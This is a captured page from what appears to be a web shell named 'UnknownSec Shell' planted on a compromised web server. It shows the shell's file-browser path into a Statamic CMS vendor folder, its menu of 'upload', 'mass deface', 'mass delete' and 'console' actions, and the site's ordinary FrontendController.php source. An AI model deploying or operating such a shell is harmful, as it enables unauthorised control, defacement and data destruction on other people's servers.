shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Http
/
Controllers
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
FrontendController.php
<?php namespace Statamic\Http\Controllers; use Illuminate\Http\Request; use Statamic\Auth\Protect\Protection; use Statamic\Exceptions\NotFoundHttpException; use Statamic\Facades\Data; use Statamic\Http\Responses\DataResponse; use Statamic\Support\Arr; use Statamic\View\View; /** * The front-end controller. */ class FrontendController extends Controller { public function __construct() { $this->middleware('statamic.web'); } /** * Handles all URLs. * * @return string */ public function index(Request $request) { if ($data = Data::findByRequestUrl($request->url())) { return $data; } app(Protection::class)->protect(); throw new NotFoundHttpException; } public function route(Request $request, ...$args) { $params = $request->route()->parameters(); $view = Arr::pull($params, 'view'); $data = Arr::pull($params, 'data'); $data = array_merge($params, is_callable($data) ? $data(...$params) : $data); $view = app(View::class) ->template($view) ->layout(Arr::get($data, 'layout', 'layout')) ->with($data) ->cascadeContent($this->getLoadedRouteItem($data)); $contentType = DataResponse::contentType( $data['content_type'] ?? ($view->wantsXmlResponse() ? 'xml' : 'html') ); return response($view->render(), 200, [ 'Content-Type' => $contentType, ]); } private function getLoadedRouteItem($data) { if (! $item = $data['load'] ?? null) { return null; } if ($data = Data::find($item)) { return $data; } if ($data = Data::findByUri($item)) { return $data; } } }
© 2026 UnknownSec